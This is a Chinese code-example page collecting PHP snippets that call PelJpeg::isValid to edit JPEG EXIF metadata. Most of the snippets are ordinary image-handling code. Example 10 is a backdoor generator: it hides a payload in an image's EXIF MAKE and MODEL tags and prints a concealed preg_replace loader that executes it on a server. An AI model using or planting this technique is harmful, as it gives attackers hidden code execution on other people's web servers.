当前位置: 首页>>代码示例>>PHP>>正文


PHP PelJpeg::isValid方法代码示例

本文整理汇总了PHP中PelJpeg::isValid方法的典型用法代码示例。如果您正苦于以下问题:PHP PelJpeg::isValid方法的具体用法?PHP PelJpeg::isValid怎么用?PHP PelJpeg::isValid使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在PelJpeg的用法示例。


在下文中一共展示了PelJpeg::isValid方法的11个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: testThisDoesNotWorkAsExpected

 function testThisDoesNotWorkAsExpected()
 {
     $subject = "Превед, медвед!";
     $data = new PelDataWindow(file_get_contents($this->file));
     if (PelJpeg::isValid($data)) {
         $jpeg = new PelJpeg();
         $jpeg->load($data);
         $exif = $jpeg->getExif();
         if (null == $exif) {
             $exif = new PelExif();
             $jpeg->setExif($exif);
             $tiff = new PelTiff();
             $exif->setTiff($tiff);
         }
         $tiff = $exif->getTiff();
         $ifd0 = $tiff->getIfd();
         if (null == $ifd0) {
             $ifd0 = new PelIfd(PelIfd::IFD0);
             $tiff->setIfd($ifd0);
         }
     }
     $ifd0->addEntry(new PelEntryWindowsString(PelTag::XP_SUBJECT, $subject));
     file_put_contents($this->file, $jpeg->getBytes());
     $jpeg = new PelJpeg($this->file);
     $exif = $jpeg->getExif();
     $tiff = $exif->getTiff();
     $ifd0 = $tiff->getIfd();
     $written_subject = $ifd0->getEntry(PelTag::XP_SUBJECT);
     $this->assertEqual($subject, $written_subject->getValue());
 }
开发者ID:ni-c,项目名称:pel,代码行数:30,代码来源:gh-16.php

示例2: addGPSdata

function addGPSdata($infile, $outfile, $GPS_lat, $GPS_lon, $GPS_alt)
{
    try {
        $image = new PelJpeg($infile);
    } catch (Exception $exc) {
        return -1;
    }
    if ($image instanceof PelJpeg) {
        if ($image->isValid(new PelDataWindow($image->getBytes()))) {
            $exif = $image->getExif();
            if ($exif == null) {
                $exif = new PelExif();
                $image->setExif($exif);
                $exif->setTiff(new PelTiff());
            }
            $tiff = $exif->getTiff();
            $ifd0 = $tiff->getIfd();
            if ($ifd0 == null) {
                $ifd0 = new PelIFD(PelIfd::IFD0);
                $tiff->setIfd($ifd0);
            }
            /* Tags erzeugen */
            $subifd = new PelIfd(PelIfd::GPS);
            $GPS_latref = $GPS_lat < 0 ? "S" : "N";
            $GPS_lonref = $GPS_lon < 0 ? "W" : "E";
            $GPS_altref = $GPS_alt < 0 ? 1 : 0;
            list($degrees, $minutes, $milliseconds) = dec2dms(abs($GPS_lat));
            $gpslat = new PelEntryRational(PelTag::GPS_LATITUDE, array($degrees, 1), array($minutes, 1), array($milliseconds, 1000));
            list($degrees, $minutes, $milliseconds) = dec2dms(abs($GPS_lon));
            $gpslon = new PelEntryRational(PelTag::GPS_LONGITUDE, array($degrees, 1), array($minutes, 1), array($milliseconds, 1000));
            echo $GPS_alt * 1000;
            $gpsalt = new PelEntryRational(PelTag::GPS_ALTITUDE, array(abs($GPS_alt * 1000), 1000));
            $gpslatref = new PelEntryAscii(PelTag::GPS_LATITUDE_REF, $GPS_latref);
            $gpslonref = new PelEntryAscii(PelTag::GPS_LONGITUDE_REF, $GPS_lonref);
            $gpsaltref = new PelEntryByte(PelTag::GPS_ALTITUDE_REF, $GPS_altref);
            $gpsversion = new PelEntryByte(PelTag::GPS_VERSION_ID, 2, 2, 0, 0);
            /* Daten eintragen.*/
            $subifd->addEntry($gpsversion);
            $subifd->addEntry($gpslat);
            $subifd->addEntry($gpslon);
            $subifd->addEntry($gpsalt);
            $subifd->addEntry($gpslatref);
            $subifd->addEntry($gpslonref);
            $subifd->addEntry($gpsaltref);
            $ifd0->addSubIfd($subifd);
            file_put_contents($outfile, $image->getBytes());
            return 0;
        }
    }
    return -1;
}
开发者ID:BackupTheBerlios,项目名称:pic2base-svn,代码行数:51,代码来源:exif.php

示例3: rotate_item

 static function rotate_item($item)
 {
     require_once MODPATH . 'autorotate/lib/pel/PelDataWindow.php';
     require_once MODPATH . 'autorotate/lib/pel/PelJpeg.php';
     require_once MODPATH . 'autorotate/lib/pel/PelTiff.php';
     // Only try to rotate photos based on EXIF
     if ($item->is_photo() && $item->mime_type == "image/jpeg") {
         require_once MODPATH . "exif/lib/exif.php";
         $exif_raw = read_exif_data_raw($item->file_path(), false);
         if (isset($exif_raw['ValidEXIFData'])) {
             $orientation = $exif_raw["IFD0"]["Orientation"];
             $degrees = 0;
             if ($orientation == '3: Upside-down') {
                 $degrees = 180;
             } else {
                 if ($orientation == '8: 90 deg CW') {
                     $degrees = -90;
                 } else {
                     if ($orientation == '6: 90 deg CCW') {
                         $degrees = 90;
                     }
                 }
             }
             if ($degrees) {
                 $tmpfile = tempnam(TMPPATH, "rotate");
                 gallery_graphics::rotate($item->file_path(), $tmpfile, array("degrees" => $degrees));
                 // Update EXIF info
                 $data = new PelDataWindow(file_get_contents($tmpfile));
                 if (PelJpeg::isValid($data)) {
                     $jpeg = $file = new PelJpeg();
                     $jpeg->load($data);
                     $exif = $jpeg->getExif();
                     if ($exif !== null) {
                         $tiff = $exif->getTiff();
                         $ifd0 = $tiff->getIfd();
                         $orientation = $ifd0->getEntry(PelTag::ORIENTATION);
                         $orientation->setValue(1);
                         file_put_contents($tmpfile, $file->getBytes());
                     }
                 }
                 $item->set_data_file($tmpfile);
                 $item->save();
                 unlink($tmpfile);
             }
         }
     }
     return;
 }
开发者ID:webmatter,项目名称:gallery3-contrib,代码行数:48,代码来源:autorotate.php

示例4: updateDescription

 /**
  * Updates the description of an image with the given data
  *
  * @param $id The internal id of the image
  * @param $title The title of the image
  * @param $description The description of the image
  * @param $category The category of the image
  * @param $tags An array of tags of the image
  */
 public function updateDescription($filename, $id, $title, $description, $category, $tags)
 {
     $data = new PelDataWindow(file_get_contents($filename));
     if (PelJpeg::isValid($data)) {
         $jpeg = $file = new PelJpeg();
         $jpeg->load($data);
         $exif = $jpeg->getExif();
         if ($exif == null) {
             $exif = new PelExif();
             $jpeg->setExif($exif);
             $tiff = new PelTiff();
             $exif->setTiff($tiff);
         } else {
             $tiff = $exif->getTiff();
         }
     } elseif (PelTiff::isValid($data)) {
         $tiff = $file = new PelTiff();
         $tiff->load($data);
     } else {
         return 0;
     }
     $ifd0 = $tiff->getIfd();
     if ($ifd0 == null) {
         $ifd0 = new PelIfd(PelIfd::IFD0);
         $tiff->setIfd($ifd0);
     }
     $desc = $ifd0->getEntry(PelTag::IMAGE_DESCRIPTION);
     $description = json_encode(array('id' => $id, 'Title' => $title, 'Description' => $description, 'Category' => $category, 'Tags' => implode(',', $tags)));
     if ($desc == null) {
         $desc = new PelEntryAscii(PelTag::IMAGE_DESCRIPTION, $description);
         $ifd0->addEntry($desc);
     } else {
         $desc->setValue($description);
     }
     $file->saveFile($filename);
 }
开发者ID:ni-c,项目名称:photocake,代码行数:45,代码来源:ExifComponent.php

示例5: PelDataWindow

 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program in the file COPYING; if not, write to the
 *  Free Software Foundation, Inc., 51 Franklin St, Fifth Floor,
 *  Boston, MA 02110-1301 USA
 */
require_once '../share/classes/pel-0.9.1/PelDataWindow.php';
require_once '../share/classes/pel-0.9.1/PelJpeg.php';
require_once '../share/classes/pel-0.9.1/PelTiff.php';
$data = new PelDataWindow(file_get_contents($input));
if (PelJpeg::isValid($data)) {
    $jpeg = $file = new PelJpeg();
    $jpeg->load($data);
    $exif = $jpeg->getExif();
    if ($exif == null) {
        $exif = new PelExif();
        $jpeg->setExif($exif);
        $tiff = new PelTiff();
        $exif->setTiff($tiff);
    } else {
        $tiff = $exif->getTiff();
    }
} elseif (PelTiff::isValid($data)) {
    $tiff = $file = new PelTiff();
    /* Now load the data. */
    $tiff->load($data);
开发者ID:BackupTheBerlios,项目名称:pic2base-svn,代码行数:31,代码来源:edit_exif_desc.php

示例6: saveEdit

 public function saveEdit($file, $name, $options = array(), $quality = 100)
 {
     // Check for request forgeries
     WFToken::checkToken() or die('Access to this resource is restricted');
     // check for image editor access
     if ($this->checkAccess('image_editor', 1) === false) {
         JError::raiseError(403, 'Access to this resource is restricted');
     }
     $browser = $this->getBrowser();
     $filesystem = $browser->getFileSystem();
     // check file
     self::validateImagePath($file);
     // clean temp
     $this->cleanEditorTmp($file, false);
     // check new name
     self::validateImagePath($name);
     $upload = JRequest::getVar('file', '', 'files', 'array');
     // create a filesystem result object
     $result = new WFFileSystemResult();
     if (isset($upload) && isset($upload['tmp_name']) && is_uploaded_file($upload['tmp_name'])) {
         $tmp = $upload['tmp_name'];
         self::validateImageFile($tmp);
         $exif = null;
         // get exif data from orignal file
         if (preg_match('#\\.jp(eg|g)$#i', basename($file)) && basename($file) == basename($name)) {
             // load exif classes
             require_once dirname(__FILE__) . '/pel/PelJpeg.php';
             $src = WFUtility::makePath($filesystem->getBaseDir(), $file);
             $jpeg = new PelJpeg($src);
             $exif = $jpeg->getExif();
         }
         $result = $filesystem->upload('multipart', trim($tmp), dirname($file), basename($name));
         if ($result->state === true && $exif) {
             $pel = new PelDataWindow($result->path);
             if (PelJpeg::isValid($pel)) {
                 $jpeg = new PelJpeg();
                 $jpeg->load($pel);
                 $jpeg->setExif($exif);
                 //$jpeg->saveFile($result->path);
                 // write to file
                 JFile::write($result->path, $jpeg->getBytes());
             }
         }
         @unlink($tmp);
     } else {
         // set upload as false - JSON request
         $upload = false;
         $file = WFUtility::makePath($filesystem->getBaseDir(), $file);
         $dest = dirname($file) . '/' . basename($name);
         // get extension
         $ext = WFUtility::getExtension($dest);
         // load image class
         require_once dirname(__FILE__) . '/image/image.php';
         // create image
         $image = new WFImage($file, $this->getParam('prefer_imagick', true));
         foreach ($options as $filter) {
             if (isset($filter->task)) {
                 $args = isset($filter->args) ? (array) $filter->args : array();
                 switch ($filter->task) {
                     case 'resize':
                         $w = $args[0];
                         $h = $args[1];
                         $image->resize($w, $h);
                         break;
                     case 'crop':
                         $w = $args[0];
                         $h = $args[1];
                         $x = $args[2];
                         $y = $args[3];
                         $image->crop($w, $h, $x, $y);
                         break;
                     case 'rotate':
                         $image->rotate(array_shift($args));
                         break;
                     case 'flip':
                         $image->flip(array_shift($args));
                         break;
                     default:
                         $image->filter($filter->task, $args);
                         break;
                 }
             }
         }
         // get image data
         $data = $image->toString($ext);
         // write to file
         if ($data) {
             $result->state = (bool) @JFile::write($dest, $data);
         }
         // set path
         $result->path = $dest;
     }
     if ($result->state === true) {
         // check if its a valid image
         if (@getimagesize($result->path) === false) {
             JFile::delete($result->path);
             throw new InvalidArgumentException('Invalid image file');
         } else {
             $result->path = str_replace(WFUtility::cleanPath(JPATH_SITE), '', $result->path);
             $browser->setResult(WFUtility::cleanPath($result->path, '/'), 'files');
//.........这里部分代码省略.........
开发者ID:knigherrant,项目名称:decopatio,代码行数:101,代码来源:imgmanager.php

示例7: stripOrientationFromExifData

 /**
  * Strip orientation from EXIF data for an image at a path.
  *
  * @param $filePath
  *
  * @return bool
  */
 public function stripOrientationFromExifData($filePath)
 {
     if (!ImageHelper::canHaveExifData($filePath)) {
         return null;
     }
     $data = new \PelDataWindow(IOHelper::getFileContents($filePath));
     // Is this a valid JPEG?
     if (\PelJpeg::isValid($data)) {
         $jpeg = $file = new \PelJpeg();
         $jpeg->load($data);
         $exif = $jpeg->getExif();
         if ($exif) {
             $tiff = $exif->getTiff();
             $ifd0 = $tiff->getIfd();
             // Delete the Orientation entry and re-save the file
             $ifd0->offsetUnset(\PelTag::ORIENTATION);
             $file->saveFile($filePath);
         }
         return true;
     } else {
         return false;
     }
 }
开发者ID:harish94,项目名称:Craft-Release,代码行数:30,代码来源:ImagesService.php

示例8: exifOrientation

 public function exifOrientation($input_file, $output_file)
 {
     $data = new PelDataWindow(file_get_contents($input_file));
     if (PelJpeg::isValid($data)) {
         $jpeg = new PelJpeg();
         $jpeg->load($data);
         if ($jpeg != null) {
             $exif = $jpeg->getExif();
             if ($exif != null) {
                 $tiff = $exif->getTiff();
                 if ($tiff != null) {
                     $ifd0 = $tiff->getIfd();
                     if ($ifd0 != null) {
                         $orientation = $ifd0->getEntry(PelTag::ORIENTATION);
                         $orientation->setValue(0);
                         $sEXIF_description = "Picture rotated automatically.";
                         $description = $ifd0->getEntry(PelTag::IMAGE_DESCRIPTION);
                         if ($description == null) {
                             $description = new PelEntryAscii(PelTag::IMAGE_DESCRIPTION, $sEXIF_description);
                             $ifd0->addEntry($description);
                         } else {
                             $sEXIF_description_old = $description->getValue();
                             $description->setValue($sEXIF_description);
                         }
                         file_put_contents($output_file, $jpeg->getBytes());
                     }
                 }
             }
         }
     }
 }
开发者ID:hevelmo,项目名称:templates,代码行数:31,代码来源:axZmH.class.php

示例9: write_exif

function write_exif()
{
    global $verbose, $headers, $regex, $payload, $original, $backdoored;
    require_once 'pel/PelDataWindow.php';
    require_once 'pel/PelJpeg.php';
    require_once 'pel/PelTiff.php';
    setlocale(LC_ALL, '');
    $data = new PelDataWindow(file_get_contents($original));
    if (PelJpeg::isValid($data)) {
        $jpeg = $file = new PelJpeg();
        $jpeg->load($data);
        $exif = $jpeg->getExif();
        if ($exif == null) {
            if ($verbose) {
                print " # No APP1 section found, added new.\r\n";
            }
            $exif = new PelExif();
            $jpeg->setExif($exif);
            $tiff = new PelTiff();
            $exif->setTiff($tiff);
        } else {
            if ($verbose) {
                print " # Found existing APP1 section.\r\n";
            }
            $tiff = $exif->getTiff();
        }
    } elseif (PelTiff::isValid($data)) {
        $tiff = $file = new PelTiff();
        $tiff->load($data);
    } else {
        print " # Unrecognized image format! The first 16 bytes follow:\r\n";
        PelConvert::bytesToDump($data->getBytes(0, 16));
        exit(1);
    }
    $ifd0 = $tiff->getIfd();
    if ($ifd0 == null) {
        if ($verbose) {
            print " # No IFD found, adding new.\r\n";
        }
        $ifd0 = new PelIfd(PelIfd::IFD0);
        $tiff->setIfd($ifd0);
    }
    //add MODEL EXIF header
    $desc = $ifd0->getEntry(PelTag::MODEL);
    if ($desc == null) {
        if ($verbose) {
            print " # Added new MODEL entry with " . $payload . "\r\n";
        }
        $desc = new PelEntryAscii(PelTag::MODEL, $payload);
        $ifd0->addEntry($desc);
    } else {
        if ($verbose) {
            print 'Updating MODEL entry from "' . $desc->getValue() . '" to "' . $payload . '".' . "\r\n";
        }
        $desc->setValue($payload);
    }
    //add MAKE EXIF header
    $desc = $ifd0->getEntry(PelTag::MAKE);
    if ($desc == null) {
        if ($verbose) {
            print " # Added new MAKE entry with " . $regex . "\r\n";
        }
        $desc = new PelEntryAscii(PelTag::MAKE, $regex);
        $ifd0->addEntry($desc);
    } else {
        if ($verbose) {
            print 'Updating MAKE entry from "' . $desc->getValue() . '" to "' . $regex . '".' . "\r\n";
        }
        $desc->setValue($regex);
    }
    print " # Saving backdoor file : " . $backdoored . ".\r\n";
    $file->saveFile($backdoored);
    print " # Saved.\r\n";
    if ($verbose) {
        print "\r\n\r\n";
    }
    print " # In order to work your backdoor, you need to hide this code very well in a .php file.\r\n";
    print "\r\n<?php\r\n\$exif = exif_read_data('path_to_backdoored_file_uploaded_on_server.jpg');\r\n";
    print "preg_replace(\$exif['" . $headers[0] . "'],\$exif['" . $headers[1] . "'],'');\r\n?>\r\n\r\n";
}
开发者ID:Reality9,项目名称:PHP-EXIF-Backdoors-generator-using-custom-shellcode,代码行数:80,代码来源:shellcode.php

示例10: writeExif

function writeExif()
{
    //$prog = array_shift($argv);
    $error = false;
    $input = array_shift($argv);
    $output = array_shift($argv);
    /*if (isset($input))
    	{
    	  echo "Input file: ".$input."<br>";
    	} else
    	{
    	  $error = true;
    	}
    
    	if (isset($output)) {
    	  echo "Output file: ".$output."<br>";
    	} else {
    	  $error = true;
    	}*/
    /*if ($error) {
    	  echo "Error: Input or Output file not set.";
    	  exit(1);
    	}*/
    /* We typically need lots of RAM to parse TIFF images since they tend
     * to be big and uncompressed. */
    ini_set('memory_limit', '32M');
    /* The input file is now read into a PelDataWindow object.  At this
     * point we do not know if the file stores JPEG or TIFF data, so
     * instead of using one of the loadFile methods on PelJpeg or PelTiff
     * we store the data in a PelDataWindow. */
    echo 'Reading file "' . $input . '"<br>';
    $data = new PelDataWindow(file_get_contents($input));
    /* The static isValid methods in PelJpeg and PelTiff will tell us in
     * an efficient maner which kind of data we are dealing with. */
    if (PelJpeg::isValid($data)) {
        /* The data was recognized as JPEG data, so we create a new empty
         * PelJpeg object which will hold it.  When we want to save the
         * image again, we need to know which object to same (using the
         * getBytes method), so we store $jpeg as $file too. */
        $jpeg = $file = new PelJpeg();
        /* We then load the data from the PelDataWindow into our PelJpeg
         * object.  No copying of data will be done, the PelJpeg object will
         * simply remember that it is to ask the PelDataWindow for data when
         * required. */
        $jpeg->load($data);
        /* The PelJpeg object contains a number of sections, one of which
         * might be our Exif data. The getExif() method is a convenient way
         * of getting the right section with a minimum of fuzz. */
        $exif = $jpeg->getExif();
        if ($exif == null) {
            /* Ups, there is no APP1 section in the JPEG file.  This is where
             * the Exif data should be. */
            echo 'No APP1 section found, added new.<br>';
            /* In this case we simply create a new APP1 section (a PelExif
             * object) and adds it to the PelJpeg object. */
            $exif = new PelExif();
            $jpeg->setExif($exif);
            /* We then create an empty TIFF structure in the APP1 section. */
            $tiff = new PelTiff();
            $exif->setTiff($tiff);
        } else {
            /* Surprice, surprice: Exif data is really just TIFF data!  So we
             * extract the PelTiff object for later use. */
            println('Found existing APP1 section.<br>');
            $tiff = $exif->getTiff();
        }
    } elseif (PelTiff::isValid($data)) {
        /* The data was recognized as TIFF data.  We prepare a PelTiff
         * object to hold it, and record in $file that the PelTiff object is
         * the top-most object (the one on which we will call getBytes). */
        $tiff = $file = new PelTiff();
        /* Now load the data. */
        $tiff->load($data);
    } else {
        /* The data was not recognized as either JPEG or TIFF data.
         * Complain loudly, dump the first 16 bytes, and exit. */
        println('Unrecognized image format! The first 16 bytes follow:');
        PelConvert::bytesToDump($data->getBytes(0, 16));
        exit(1);
    }
    /* TIFF data has a tree structure much like a file system.  There is a
     * root IFD (Image File Directory) which contains a number of entries
     * and maybe a link to the next IFD.  The IFDs are chained together
     * like this, but some of them can also contain what is known as
     * sub-IFDs.  For our purpose we only need the first IFD, for this is
     * where the image description should be stored. */
    $ifd0 = $tiff->getIfd();
    //echo $ifd0."<br>";
    if ($ifd0 == null) {
        /* No IFD in the TIFF data?  This probably means that the image
         * didn't have any Exif information to start with, and so an empty
         * PelTiff object was inserted by the code above.  But this is no
         * problem, we just create and inserts an empty PelIfd object. */
        println('No IFD found, adding new.<br>');
        $ifd0 = new PelIfd(PelIfd::IFD0);
        $tiff->setIfd($ifd0);
    }
    /* Each entry in an IFD is identified with a tag.  This will load the
     * ImageDescription entry if it is present.  If the IFD does not
     * contain such an entry, null will be returned. */
//.........这里部分代码省略.........
开发者ID:BackupTheBerlios,项目名称:pic2base-svn,代码行数:101,代码来源:exifwrite.php

示例11: saveEdit

 function saveEdit()
 {
     // check for image editor access
     if (!$this->checkAccess('image_editor', 1)) {
         JError::raiseError(403, 'RESTRICTED ACCESS');
     }
     $editor = $this->getImageEditor();
     $browser = $this->getBrowser();
     $args = func_get_args();
     // file src
     $file = array_shift($args);
     // check file
     WFUtility::checkPath($file);
     // file name
     $name = array_shift($args);
     // check name
     WFUtility::checkPath($name);
     // check for extension in destination name
     if (preg_match('#\\.(php|php(3|4|5)|phtml|pl|py|jsp|asp|htm|html|shtml|sh|cgi)\\b#i', $name)) {
         JError::raiseError(403, 'INVALID FILE NAME');
     }
     // edit data
     $props = array_shift($args);
     // exif data
     $exif = null;
     $data = JRequest::getVar('data', '', 'POST', 'STRING', JREQUEST_ALLOWRAW);
     if (preg_match('#data:image\\/(jpeg|jpg|png|bmp);base64#', $data)) {
         // replace spaces
         $data = str_replace(' ', '+', $data);
         // remove header
         $data = substr($data, strpos($data, ",") + 1);
         // decode data
         $data = base64_decode($data);
         $src = WFUtility::makePath(JPATH_SITE, $file);
         $dest = dirname($src) . DS . basename($name);
         // get exif data from orignal file
         if (preg_match('#\\.jp(eg|g)$#i', basename($file)) && basename($file) == basename($dest)) {
             // load exif classes
             require_once dirname(__FILE__) . DS . 'pel' . DS . 'PelJpeg.php';
             $jpeg = new PelJpeg($src);
             $exif = $jpeg->getExif();
         }
         if (!JFile::write($dest, $data)) {
             $browser->setResult(WFText::_('WF_IMGMANAGER_EXT_ERROR'), 'error');
         } else {
             $browser->setResult(basename($dest), 'files');
             if ($exif && basename($file) == basename($dest)) {
                 $pel = new PelDataWindow($data);
                 if (PelJpeg::isValid($pel)) {
                     $jpeg = new PelJpeg();
                     $jpeg->load($pel);
                     /*$dim = @getimagesize($dest);
                     		
                     					if ($dim) {
                     					$tiff 	= $exif->getTiff();
                     					$ifd0 	= $tiff->getIfd();
                     		
                     					$width 	= $ifd0->getEntry(PelTag::IMAGE_WIDTH);
                     					$height	= $ifd0->getEntry(PelTag::IMAGE_LENGTH);
                     		
                     					$width->setValue($dim[0]);
                     					$height->setValue($dim[1]);
                     					}*/
                     $jpeg->setExif($exif);
                     $jpeg->saveFile($dest);
                 }
             }
         }
     } else {
         $browser->setResult(WFText::_('WF_IMGMANAGER_EXT_ERROR'), 'error');
     }
     return $browser->getResult();
 }
开发者ID:srbsnkr,项目名称:sellingonlinemadesimple,代码行数:73,代码来源:imgmanager.php


注:本文中的PelJpeg::isValid方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。